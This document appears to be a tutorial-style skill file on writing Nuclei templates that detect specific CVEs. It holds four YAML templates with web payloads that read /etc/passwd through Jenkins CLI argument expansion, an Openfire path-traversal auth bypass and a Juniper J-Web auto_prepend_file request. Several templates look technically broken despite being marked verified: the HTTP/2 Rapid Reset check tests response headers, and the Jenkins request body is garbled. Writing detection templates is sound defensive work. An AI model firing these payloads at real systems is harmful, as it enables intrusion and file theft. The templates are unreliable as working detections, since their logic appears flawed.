<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: writing-cve-detection-templates
description: >-
  Write Nuclei templates targeting specific CVEs with version fingerprinting,
  proof-of-concept payloads, and multi-step validation chains. Covers CVE
  metadata integration, CVSS scoring, CWE mapping, and reliable exploit
  confirmation for automated vulnerability scanning.
domain: cybersecurity
subdomain: nuclei-templating
tags:
  - nuclei
  - cve
  - detection
  - vulnerability-scanning
  - exploit-validation
  - templates
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190"]
---

# Writing CVE Detection Templates

## Overview

CVE detection templates target known, cataloged vulnerabilities with specific
identifiers. They combine version fingerprinting with proof-of-concept validation
to confirm exploitability. Good CVE templates reference authoritative sources,
include CVSS vectors, and produce zero false positives through multi-step
confirmation.

Mode: `[MODE: RED]` — Targeted CVE exploitation and detection validation.

## Prerequisites

| Requirement | Details |
|---|---|
| Nuclei v3+ (`nuclei -version`) | Required |
| Access to CVE databases (NVD, MITRE) | Required |
| Controlled lab with vulnerable application versions deployed | Required |

## Key Concepts

### Basic CVE Detection with Version Check

```yaml
id: CVE-2023-44487-rapid-reset

info:
  name: HTTP/2 Rapid Reset Attack Detection
  author: nerf
  severity: high
  description: |
    Detects servers vulnerable to HTTP/2 Rapid Reset denial-of-service
    attack. Checks for HTTP/2 support and absence of stream limiting.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44487
    - https://www.cve.org/CVERecord?id=CVE-2023-44487
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2023-44487
    cwe-id: CWE-400
  tags: cve,cve2023,dos,http2,rapid-reset
  metadata:
    max-request: 1
    verified: true
    shodan-query: "HTTP/2"

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "HTTP/2"
        condition: or
      - type: dsl
        dsl:
          - '!contains(tolower(all_headers), "max-concurrent-streams")'
    extractors:
      - type: kval
        kval:
          - server
```

### Multi-Step CVE Validation with Chained Requests

```yaml
id: CVE-2024-23897-jenkins-file-read

info:
  name: Jenkins Arbitrary File Read
  author: nerf
  severity: critical
  description: |
    Jenkins CLI allows arbitrary file reading through the @-argument
    processing feature. Unauthenticated attackers can read first few
    lines of files on the Jenkins controller filesystem.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-23897
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-23897
    cwe-id: CWE-88
  tags: cve,cve2024,jenkins,file-read,critical
  metadata:
    max-request: 2
    verified: true

http:
  - raw:
      - |
        GET {{BaseURL}}/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST {{BaseURL}}/cli?remoting=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked

        0000
        @/etc/passwd
        0

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'
      - type: status
        status:
          - 200
    extractors:
      - type: regex
        part: body
        regex:
          - '(root:.*:0:0:.*)'
        group: 1
```

### CVE with Version Fingerprinting First

```yaml
id: CVE-2023-32315-openfire-path-traversal

info:
  name: Openfire Path Traversal Authentication Bypass
  author: nerf
  severity: high
  description: |
    Openfire before 4.7.5 allows path traversal to bypass authentication
    and access admin console setup pages. Enables admin account creation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32315
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.6
    cve-id: CVE-2023-32315
    cwe-id: CWE-22
  tags: cve,cve2023,openfire,path-traversal,auth-bypass
  metadata:
    max-request: 2
    verified: true

http:
  - method: GET
    path:
      - "{{BaseURL}}/login.jsp"
    matchers:
      - type: word
        part: body
        words:
          - "Openfire"
          - "login-version"
        condition: and
        internal: true
    extractors:
      - type: regex
        name: version
        part: body
        regex:
          - 'Version:\s*([0-9]+\.[0-9]+\.[0-9]+)'
        group: 1
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Openfire"
          - "log.jsp"
        condition: and
      - type: status
        status:
          - 200
```

### Time-Based CVE Detection

```yaml
id: CVE-2023-36845-juniper-rce

info:
  name: Juniper J-Web Remote Code Execution
  author: nerf
  severity: critical
  description: |
    Juniper Networks Junos OS J-Web allows unauthenticated remote code
    execution via PHP environment variable manipulation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36845
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-36845
    cwe-id: CWE-78
  tags: cve,cve2023,juniper,rce,critical
  metadata:
    max-request: 1
    verified: true

http:
  - raw:
      - |
        POST {{BaseURL}}/webauth_operation.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        rs=do_upload&rsargs[]=/tmp/test.ini&rsargs[]=auto_prepend_file="/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'
      - type: status
        status:
          - 200
```

## Workflow

### Step 1: Research the CVE

Gather CVE details, affected versions, CVSS vector, CWE mapping, and public
PoC exploits from NVD and advisory sources.

### Step 2: Validate Template

```bash
nuclei -t cve-template.yaml -validate
```

### Step 3: Scan Vulnerable Target

```bash
node scripts/agent.js --action scan --target https://vuln-lab.internal \
  --template cve-template.yaml --output /tmp/cve-scan.json
```

### Step 4: Confirm False Positive Rate

```bash
node scripts/agent.js --action scan --target https://patched-lab.internal \
  --template cve-template.yaml --output /tmp/cve-verify.json
```

## Verification

- [ ] `cve-id` in classification matches the targeted CVE
- [ ] `cvss-metrics` and `cvss-score` match NVD values
- [ ] `cwe-id` accurately classifies the vulnerability type
- [ ] Multi-step validation confirms exploitability, not just version
- [ ] Template tested against both vulnerable and patched versions
- [ ] `reference` includes NVD link and vendor advisory
- [ ] `max-request` metadata matches actual request count
- [ ] No destructive payloads — detection only, not exploitation

## References

- [NVD — National Vulnerability Database](https://nvd.nist.gov/)
- [Nuclei CVE Templates](https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves)
- [CVSS v3.1 Calculator](https://www.first.org/cvss/calculator/3.1)
- [CWE List](https://cwe.mitre.org/data/definitions/699.html)
